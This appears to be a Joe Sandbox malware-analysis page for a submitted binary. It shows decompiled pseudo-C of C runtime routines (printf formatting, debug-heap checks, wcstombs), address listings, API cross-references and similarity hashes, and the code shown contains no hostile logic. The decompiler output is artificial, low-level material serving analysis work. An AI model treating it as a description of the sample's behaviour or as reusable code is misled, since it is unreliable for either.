																				 *(__ebp - 0x27c) = E00434010(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x27c) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L181;
																		case 7:
																			L135:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L144;
																		case 8:
																			L100:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x294) = E00428150(__ebp + 0x14);
																			if(E00433CF0() != 0) {
																				L110:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x294);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x294);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L181;
																			}
																			L101:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x314) = 0;
																			} else {
																				 *(__ebp - 0x314) = 1;
																			}
																			__eax =  *(__ebp - 0x314);
																			 *(__ebp - 0x298) =  *(__ebp - 0x314);
																			if( *(__ebp - 0x298) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E000();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x298) != 0) {
																				L109:
																				goto L181;
																			} else {
																				L108:
																				 *((intOrPtr*)(L00422AF0(__ecx))) = 0x16;
																				__eax = E00422880(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2e8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AAA0(__ecx);
																				__eax =  *(__ebp - 0x2e8);
																				goto L211;
																			}
																		case 9:
																			L142:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L144;
																		case 0xa:
																			L136:
																			 *(__ebp - 0x30) = 8;
																			goto L137;
																		case 0xb:
																			L81:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x310) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x310) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x310);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428150(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L92:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x288) =  *(__ebp - 4);
																				while(1) {
																					L95:
																					__ecx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L96:
																					__eax =  *(__ebp - 0x288);
																					__ecx =  *( *(__ebp - 0x288));
																					if(__ecx == 0) {
																						break;
																					}
																					L97:
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				}
																				L98:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				goto L99;
																			} else {
																				L85:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x290) =  *(__ebp - 4);
																				while(1) {
																					L88:
																					__edx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if( *(__ebp - 0x28c) == 0) {
																						break;
																					}
																					L89:
																					__ecx =  *(__ebp - 0x290);
																					__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L90:
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																				}
																				L91:
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L99:
																				goto L181;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L138:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L139:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L144;
																		case 0xe:
																			goto L181;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x004279ac
0x004279ac
0x004279ac
0x004279ac
0x004279ac
0x00000000
0x00427a1b
0x00000000
0x00427a1b
0x00000000
0x00427a1b
0x00427a1b
0x00427a23
0x00427a45
0x00427a4b
0x00427a70
0x00427ab7
0x00427aba
0x00427adb
0x00427ae0
0x00427ae5
0x00427aeb
0x00427abc
0x00427ac0
0x00427ac5
0x00427ac8
0x00427ac9
0x00427acf
0x00427acf
0x00427a72
0x00427a75
0x00427a78
0x00427a9a
0x00427a9f
0x00427aa5
0x00427aa6
0x00427aac
0x00427a7a
0x00427a7e
0x00427a83
0x00427a87
0x00427a88
0x00427a8e
0x00427a8e
0x00427ab2
0x00427a4d
0x00427a51
0x00427a56
0x00427a59
0x00427a5f
0x00427a5f
0x00427a25
0x00427a29
0x00427a2e
0x00427a31
0x00427a37
0x00427a37
0x00427af7
0x00427b39
0x00427b3f
0x00427b4b
0x00000000
0x00427af9
0x00427af9
0x00427af9
0x00427b00
0x00000000
0x00427b0d
0x00427b0d
0x00427b1b
0x00427b20
0x00427b26
0x00427b34
0x00427b51
0x00427b59
0x00427b7b
0x00427b7b
0x00427b85
0x00427b96
0x00427ba0
0x00427ba2
0x00427ba2
0x00427b87
0x00427b87
0x00427b87
0x00427bb5
0x00427bb7
0x00427bb7
0x00427bc1
0x00427bc4
0x00427bc4
0x00427bca
0x00427bcd
0x00427bd2
0x00000000
0x00000000
0x00427be2
0x00427be5
0x00427bef
0x00427bfe
0x00427c07
0x00427c1d
0x00427c23
0x00427c30
0x00427c3e
0x00427c3e
0x00427c4d
0x00427c55
0x00427c55
0x00427c5d
0x00427c63
0x00427c6c
0x00427c78
0x00427c91
0x00427c97
0x00427ca0
0x00427ca0
0x00000000
0x00427ca3
0x00000000
0x00427ca3
0x00000000
0x00427ca3
0x00000000
0x00427ca3
0x00000000
0x00427ca3
0x00000000
0x00427ca3
0x00000000
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00427e8e
0x00427e92
0x00427e9a
0x00427e9f
0x00427ea2
0x00427ea2
0x00427ea9
0x00427ea9
0x0042702f
0x00427042
0x00427047
0x00000000
0x0042705a
0x00427064
0x0042708b
0x00427072
0x00427083
0x00427083
0x00427064
0x00427095
0x0042709b
0x004270ad
0x004270b8
0x004270c4
0x004270d1
0x00000000
0x00000000
0x004270d7
0x004270dd
0x00000000
0x004270e4
0x004270e4
0x004270fc
0x00427101
0x00427106
0x004271c0
0x004271d3
0x004271d8
0x00000000
0x0042710c
0x0042711f
0x00427124
0x0042712a
0x0042712c
0x00427135
0x00427138
0x00427144
0x00427148
0x0042714e
0x00427150
0x00427155
0x00427157
0x0042715c
0x00427161
0x00427163
0x00427168
0x0042716e
0x00427170
0x00427170
0x0042716e
0x00427171
0x00427178
0x00000000
0x0042717a
0x0042717f
0x0042719b
0x004271a3
0x004271b0
0x004271b5
0x00427ec8
0x00427ed5
0x00427ed5
0x00427178
0x00000000
0x004271e0
0x004271e0
0x004271e7
0x004271ea
0x004271ed
0x004271f0
0x004271f3
0x004271f6
0x004271f9
0x00427200
0x00427207
0x00000000
0x00000000
0x00427213
0x00427213
0x0042721a
0x00427226
0x00427229
0x00427236
0x00000000
0x00000000
0x00427238
0x00427238
0x0042723e
0x0042723e
0x00427245
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427288
0x00427288
0x00427292
0x004272bc
0x004272bf
0x004272c2
0x004272c9
0x004272c9
0x004272cd
0x00427294
0x00427294
0x004272a0
0x004272a7
0x004272a9
0x004272ac
0x004272af
0x004272b5
0x004272b7
0x004272b7
0x004272ba
0x004272d0
0x00000000
0x00000000
0x004272d5
0x004272d5
0x00000000
0x00000000
0x004272e1
0x004272e1
0x004272eb
0x0042730e
0x00427318
0x00427318
0x0042731c
0x004272ed
0x004272ed
0x004272f9
0x00427300
0x00427302
0x00427302
0x00427309
0x00000000
0x00000000
0x00427324
0x00427324
0x0042732b
0x00427337
0x0042733a
0x00427347
0x0042745a
0x00000000
0x0042745a
0x0042734d
0x0042734d
0x00427353
0x00427353
0x0042735a
0x00000000
0x00427390
0x00427390
0x00427393
0x00427399
0x004273c1
0x004273c1
0x004273c4
0x004273ca
0x004273ef
0x004273ef
0x004273f2
0x004273f8
0x00427431
0x00427442
0x00000000
0x00427442
0x004273fa
0x004273fa
0x004273fd
0x00427403
0x00000000
0x00000000
0x00427405
0x00427405
0x00427408
0x0042740e
0x00000000
0x00000000
0x00427410
0x00427410
0x00427413
0x00427419
0x00000000
0x00000000
0x0042741b
0x0042741b
0x0042741e
0x00427424
0x00000000
0x00000000
0x00427426
0x00427426
0x00427429
0x0042742f
0x00427433
0x00000000
0x00427433
0x00000000
0x0042742f
0x004273cc
0x004273cc
0x004273cf
0x004273d6
0x00000000
0x004273d8
0x004273db
0x004273de
0x004273e1
0x004273e4
0x004273ea
0x00000000
0x004273ea
0x004273d6
0x0042739b
0x0042739b
0x0042739e
0x004273a5
0x00000000
0x004273a7
0x004273aa
0x004273ad
0x004273b0
0x004273b3
0x004273b9
0x00000000
0x004273b9
0x00000000
0x00427444
0x00427447
0x0042744a
0x00000000
0x00000000
0x00427361
0x00427361
0x00427364
0x0042736a
0x00427382
0x00427385
0x00427388
0x0042736c
0x0042736f
0x00427372
0x00427378
0x0042737d
0x0042737d
0x00000000
0x00000000
0x0042744f
0x00427452
0x00427457
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427262
0x00427265
0x00427268
0x00000000
0x00000000
0x0042726d
0x00427270
0x00427275
0x00000000
0x00000000
0x00427257
0x00427257
0x0042725a
0x0042725d
0x00000000
0x00000000
0x0042724c
0x0042724f
0x00427252
0x00000000
0x00000000
0x0042727a
0x0042727a
0x0042727d
0x00427280
0x00000000
0x00000000
0x00427283
0x00000000
0x00000000
0x004270dd
0x00427eae
0x00427eb4
0x00427ebd
0x00427ec2
0x00000000
0x00427ec2
0x00427cad
0x00427cb3
0x00427cbd
0x00427cd2
0x00427ce7
0x00427ce9
0x00427ced
0x00427ced
0x00427cd4
0x00427cd4
0x00427cd8
0x00427cd8
0x00427cbf
0x00427cbf
0x00427cc3
0x00427cc3
0x00427cbd
0x00427cfd
0x00427d09
0x00427d1f
0x00427d24
0x00427d24
0x00427d3a
0x00427d3f
0x00427d48
0x00427d66
0x00427d6b
0x00427d6b
0x00427d72
0x00427e46
0x00427e59
0x00427e5e
0x00000000
0x00427d82
0x00427d82
0x00427d82
0x00427d8f
0x00427d98
0x00427d9e
0x00427d9e
0x00427dad
0x00427db5
0x00000000
0x00000000
0x00427dbb
0x00427dc4
0x00427de3
0x00427de8
0x00427deb
0x00427dfa
0x00427e07
0x00427e12
0x00427e12
0x00000000
0x00427e1e
0x00427e1e
0x00427e37
0x00427e3c
0x00000000
0x00427e3c
0x00427e07
0x00427e44
0x00427e61
0x00427e68
0x00427e86
0x00427e8b
0x00427e8b
0x00000000
0x00427e68
0x0042745f
0x0042745f
0x00427466
0x0042746c
0x00427472
0x00427475
0x0042747b
0x0042748e
0x0042748e
0x00427495
0x00000000
0x004277ef
0x004277ef
0x004277f6
0x004277fd
0x00427800
0x00000000
0x00000000
0x0042749c
0x0042749f
0x004274a5
0x004274aa
0x004274af
0x004274af
0x00000000
0x00000000
0x004275dc
0x004275df
0x004275e4
0x004275e9
0x004275ef
0x004275ef
0x00000000
0x00000000
0x004279bc
0x004279bc
0x00000000
0x00000000
0x00427546
0x00427546
0x00427552
0x0042755f
0x0042756d
0x0042756d
0x00427573
0x00427576
0x00427582
0x004275d7
0x00000000
0x004275d7
0x00427561
0x00427561
0x0042756b
0x00427587
0x0042758a
0x00427590
0x004275b8
0x004275bf
0x004275c5
0x004275c8
0x004275cb
0x004275d1
0x004275d4
0x00427592
0x00427592
0x00427598
0x0042759b
0x0042759e
0x004275a4
0x004275a7
0x004275aa
0x004275ac
0x004275af
0x004275af
0x00000000
0x00427590
0x00000000
0x00000000
0x00427806
0x00427809
0x0042780c
0x0042780f
0x00427815
0x00427818
0x00427823
0x0042782e
0x00427832
0x00427849
0x00427850
0x00427852
0x00427852
0x00427859
0x00427860
0x00427871
0x00427880
0x00427887
0x0042789d
0x00427889
0x00427889
0x0042788c
0x00427892
0x00427898
0x00427898
0x00427887
0x004278a7
0x004278aa
0x004278ad
0x004278b0
0x004278b0
0x004278b3
0x004278b3
0x004278b6
0x004278bc
0x004278c2
0x004278ca
0x004278cb
0x004278ce
0x004278cf
0x004278d2
0x004278d3
0x004278da
0x004278db
0x004278de
0x004278df
0x004278e2
0x004278e3
0x004278e9
0x004278ea
0x004278f8
0x004278fa
0x00427900
0x00427906
0x0042790e
0x00427916
0x00427917
0x0042791a
0x0042791b
0x00427929
0x0042792b
0x0042792b
0x0042792e
0x00427938
0x0042793d
0x00427943
0x00427945
0x0042794d
0x0042794e
0x00427951
0x00427952
0x00427961
0x00427963
0x00427963
0x00427943
0x00427966
0x00427969
0x0042796f
0x00427974
0x0042797a
0x00427980
0x00427983
0x00427983
0x00427986
0x00427992
0x00000000
0x00427992
0x00427834
0x00427834
0x0042783e
0x00000000
0x00000000
0x00427840
0x00427840
0x00000000
0x00427840
0x00427825
0x00427825
0x00000000
0x00000000
0x004274b2
0x004274b5
0x004274bb
0x00427516
0x0042751e
0x00427525
0x0042752b
0x00427531
0x004274bd
0x004274bd
0x004274c7
0x004274cb
0x004274d3
0x004274da
0x004274e7
0x004274ee
0x004274fa
0x00427507
0x00427509
0x00427509
0x00427510
0x00427538
0x0042753e
0x00000000
0x00000000
0x0042799a
0x0042799d
0x004279a0
0x004279a3
0x00000000
0x00000000
0x004276f8
0x004276f8
0x00427704
0x00427711
0x004277bb
0x004277be
0x004277c1
0x004277d5
0x004277db
0x004277e1
0x004277c3
0x004277c3
0x004277d0
0x004277d0
0x004277e3
0x00000000
0x004277e3
0x00427717
0x00427717
0x00427719
0x00427727
0x0042771b
0x0042771b
0x0042771b
0x00427731
0x00427737
0x00427744
0x00427746
0x0042774b
0x0042774d
0x00427752
0x00427757
0x00427759
0x0042775e
0x00427764
0x00427766
0x00427766
0x00427764
0x0042776e
0x004277b6
0x00000000
0x00427770
0x00427770
0x00427775
0x00427791
0x00427799
0x004277a3
0x004277a6
0x004277ab
0x00000000
0x004277ab
0x00000000
0x004279fd
0x004279fd
0x00427a07
0x00427a0d
0x00427a12
0x00427a18
0x00427a18
0x00000000
0x00000000
0x004279b5
0x004279b5
0x00000000
0x00000000
0x004275f2
0x004275f6
0x00427604
0x00427607
0x004275f8
0x004275f8
0x004275f8
0x0042760d
0x00427613
0x00427619
0x00427625
0x0042762b
0x00427631
0x00427698
0x0042769c
0x0042769e
0x004276a4
0x004276a4
0x004276a7
0x004276aa
0x004276b0
0x004276b0
0x004276b0
0x004276bc
0x004276bf
0x004276c7
0x00000000
0x00000000
0x004276c9
0x004276c9
0x004276cf
0x004276d4
0x00000000
0x00000000
0x004276d6
0x004276dc
0x004276df
0x004276df
0x004276e7
0x004276ed
0x004276f0
0x00000000
0x00427633
0x00427633
0x00427637
0x00427639
0x0042763e
0x0042763e
0x00427641
0x00427648
0x0042764b
0x00427651
0x00427651
0x00427651
0x0042765d
0x00427660
0x00427668
0x00000000
0x00000000
0x0042766a
0x0042766a
0x00427670
0x00427675
0x00000000
0x00000000
0x00427677
0x0042767d
0x00427680
0x00427680
0x00427688
0x0042768e
0x00427691
0x00427693
0x004276f3
0x00000000
0x004276f3
0x00000000
0x00000000
0x00000000
0x004279c8
0x004279c8
0x004279d2
0x004279d2
0x004279dc
0x004279e2
0x004279e4
0x004279ee
0x004279f1
0x004279f4
0x004279f4
0x00000000
0x00000000
0x00000000
0x00000000
0x00427495
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca3
0x00427b00
0x00427af7
0x00427a1b
0x00427a1b
0x00427a1b

APIs

_get_int64_arg.LIBCMTD ref: 00427A29
_get_int64_arg.LIBCMTD ref: 00427A51
__aullrem.LIBCMT ref: 00427BF6
__aulldiv.LIBCMT ref: 00427C18

Strings

9, xrefs: 00427C29

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 8698735123b3feddb97b2ec76e51df2176c4137660bae1df7df2e96bf9f8b5a0
Instruction ID: 76ff33d9317296524c4533420a7b476f4abb7e98a6b229f95ae02a4c1964b944
Opcode Fuzzy Hash: 8698735123b3feddb97b2ec76e51df2176c4137660bae1df7df2e96bf9f8b5a0
Instruction Fuzzy Hash: 06411671E08229DFDB64DF58DD89BAEBBB4BB44304F5041DAD409A7241C738AE80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041C5D3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041C6DD
__free_base.LIBCMTD ref: 0041C6E9

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C5F7
pHead->nBlockUse == nBlockUse, xrefs: 0041C5EB

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __free_base_memset
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse
API String ID: 2669475236-3676899318
Opcode ID: 51dad71e2ab4394da7975f0f471940e97f980e49e5c8300b54f6ac4105ffffcd
Instruction ID: 7dbd888a086a9a8066a69001408ad4c72660d81a31ffb6538059a2ecb71ab1cc
Opcode Fuzzy Hash: 51dad71e2ab4394da7975f0f471940e97f980e49e5c8300b54f6ac4105ffffcd
Instruction Fuzzy Hash: 9E216FB8A40104EFCB04CF44CAC5AAA77B2BB89308F30C199E4052B395D779EE42DF49

Uniqueness

Uniqueness Score: -1.00%

Function 0041C64E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041C6DD
__free_base.LIBCMTD ref: 0041C6E9

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C65A
_pLastBlock == pHead, xrefs: 0041C64E

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __free_base_memset
String ID: _pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2669475236-449961717
Opcode ID: 0c7678b4b6855d5a69be44a663b38ac89b007596763e933cdb05b3e734ba3517
Instruction ID: b716ada1d65b0959621c6fa5702d235723b8b961147338b2dee583e557a64583
Opcode Fuzzy Hash: 0c7678b4b6855d5a69be44a663b38ac89b007596763e933cdb05b3e734ba3517
Instruction Fuzzy Hash: 23018FB8A40104EBC704CB54DE85FAAB3B1AB89308F30819AE5056B381D679DE42DB89

Uniqueness

Uniqueness Score: -1.00%

Function 00436E06, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00436E06(intOrPtr __ebx, void* __edx, intOrPtr __edi, intOrPtr __esi) {
				intOrPtr* _t155;
				signed int* _t157;
				signed int _t162;
				intOrPtr* _t179;
				intOrPtr _t201;
				void* _t220;
				intOrPtr _t221;
				void* _t222;
				intOrPtr _t240;
				intOrPtr _t247;
				intOrPtr _t290;
				intOrPtr _t291;
				signed int _t292;
				void* _t294;

				_t291 = __esi;
				_t290 = __edi;
				_t221 = __ebx;
				if( *(_t292 + 0x10) != 0) {
					 *(_t292 - 0x30) = 0 |  *(_t292 + 0xc) != 0x00000000;
					if( *(_t292 - 0x30) == 0) {
						_push(L"pwcs != NULL");
						_push(0);
						_push(0x66);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t220 = L0041E000();
						_t294 = _t294 + 0x14;
						if(_t220 == 1) {
							asm("int3");
						}
					}
					if( *(_t292 - 0x30) != 0) {
						_t274 =  *(_t292 + 0x14);
						L0041A9C0(_t292 - 0x20,  *(_t292 + 0x14));
						if( *(_t292 + 8) == 0) {
							_t155 = E0041AAD0(_t292 - 0x20);
							_t225 =  *_t155;
							if( *((intOrPtr*)( *_t155 + 0x14)) != 0) {
								_t227 = _t292 - 0x20;
								_t157 = E0041AAD0(_t292 - 0x20);
								_t274 =  *_t157;
								 *(_t292 - 4) = WideCharToMultiByte( *( *_t157 + 4), 0,  *(_t292 + 0xc), 0xffffffff, 0, 0, 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422AF0(_t227))) = 0x2a;
									 *(_t292 - 0x68) = 0xffffffff;
									E0041AAA0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x68);
								} else {
									 *(_t292 - 0x6c) =  *(_t292 - 4) - 1;
									E0041AAA0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x6c);
								}
							} else {
								_t274 =  *(_t292 + 0xc);
								 *(_t292 - 0x64) = E0042D940(_t225,  *(_t292 + 0xc));
								E0041AAA0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x64);
							}
						} else {
							if( *((intOrPtr*)( *((intOrPtr*)(E0041AAD0(_t292 - 0x20))) + 0x14)) != 0) {
								if( *((intOrPtr*)( *((intOrPtr*)(E0041AAD0(_t292 - 0x20))) + 0xac)) != 1) {
									_t240 =  *((intOrPtr*)(E0041AAD0(_t292 - 0x20)));
									_t274 =  *(_t240 + 4);
									 *(_t292 - 4) = WideCharToMultiByte( *(_t240 + 4), 0,  *(_t292 + 0xc), 0xffffffff,  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
									if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
										if( *(_t292 - 0x10) != 0 || GetLastError() != 0x7a) {
											 *((intOrPtr*)(L00422AF0(_t240))) = 0x2a;
											 *(_t292 - 0x4c) = 0xffffffff;
											E0041AAA0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x4c);
										} else {
											while( *(_t292 - 4) <  *(_t292 + 0x10)) {
												_t179 = E0041AAD0(_t292 - 0x20);
												_t247 =  *((intOrPtr*)(E0041AAD0(_t292 - 0x20)));
												_t274 =  *(_t247 + 4);
												 *((intOrPtr*)(_t292 - 0xc)) = WideCharToMultiByte( *(_t247 + 4), 0,  *(_t292 + 0xc), 1, _t292 - 0x2c,  *( *_t179 + 0xac), 0, _t292 - 0x10);
												if( *((intOrPtr*)(_t292 - 0xc)) == 0 ||  *(_t292 - 0x10) != 0) {
													 *((intOrPtr*)(L00422AF0(_t247))) = 0x2a;
													 *(_t292 - 0x50) = 0xffffffff;
													E0041AAA0(_t292 - 0x20);
													_t162 =  *(_t292 - 0x50);
												} else {
													if( *((intOrPtr*)(_t292 - 0xc)) < 0 ||  *((intOrPtr*)(_t292 - 0xc)) > 5) {
														 *((intOrPtr*)(L00422AF0(_t247))) = 0x2a;
														 *(_t292 - 0x54) = 0xffffffff;
														E0041AAA0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x54);
													} else {
														if( *(_t292 - 4) +  *((intOrPtr*)(_t292 - 0xc)) <=  *(_t292 + 0x10)) {
															 *(_t292 - 8) = 0;
															while( *(_t292 - 8) <  *((intOrPtr*)(_t292 - 0xc))) {
																( *(_t292 + 8))[ *(_t292 - 4)] =  *((intOrPtr*)(_t292 +  *(_t292 - 8) - 0x2c));
																_t274 =  &(( *(_t292 + 8))[ *(_t292 - 4)]);
																if(( *(_t292 + 8))[ *(_t292 - 4)] != 0) {
																	 *(_t292 - 8) =  *(_t292 - 8) + 1;
																	 *(_t292 - 4) =  *(_t292 - 4) + 1;
																	continue;
																}
																 *(_t292 - 0x5c) =  *(_t292 - 4);
																E0041AAA0(_t292 - 0x20);
																_t162 =  *(_t292 - 0x5c);
																goto L55;
															}
															_t274 =  &(( *(_t292 + 0xc))[1]);
															 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
															continue;
														}
														 *(_t292 - 0x58) =  *(_t292 - 4);
														E0041AAA0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x58);
													}
												}
												goto L55;
											}
											 *(_t292 - 0x60) =  *(_t292 - 4);
											E0041AAA0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x60);
										}
									} else {
										 *(_t292 - 0x48) =  *(_t292 - 4) - 1;
										E0041AAA0(_t292 - 0x20);
										_t162 =  *(_t292 - 0x48);
									}
									goto L55;
								}
								if( *(_t292 + 0x10) > 0) {
									 *(_t292 + 0x10) = E00437270( *(_t292 + 0xc),  *(_t292 + 0x10));
								}
								_t274 =  *(_t292 + 0xc);
								_t201 =  *((intOrPtr*)(E0041AAD0(_t292 - 0x20)));
								_t260 =  *(_t201 + 4);
								 *(_t292 - 4) = WideCharToMultiByte( *(_t201 + 4), 0,  *(_t292 + 0xc),  *(_t292 + 0x10),  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422AF0(_t260))) = 0x2a;
									 *(_t292 - 0x44) = 0xffffffff;
									E0041AAA0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x44);
								} else {
									if( *((char*)( &(( *(_t292 + 8))[ *(_t292 - 4)]) - 1)) == 0) {
										 *(_t292 - 4) =  *(_t292 - 4) - 1;
									}
									_t274 =  *(_t292 - 4);
									 *(_t292 - 0x40) =  *(_t292 - 4);
									E0041AAA0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x40);
								}
								goto L55;
							} else {
								goto L10;
							}
							while(1) {
								L10:
								_t265 =  *(_t292 - 4);
								if( *(_t292 - 4) >=  *(_t292 + 0x10)) {
									break;
								}
								_t274 =  *(_t292 + 0xc);
								if(( *( *(_t292 + 0xc)) & 0x0000ffff) <= 0xff) {
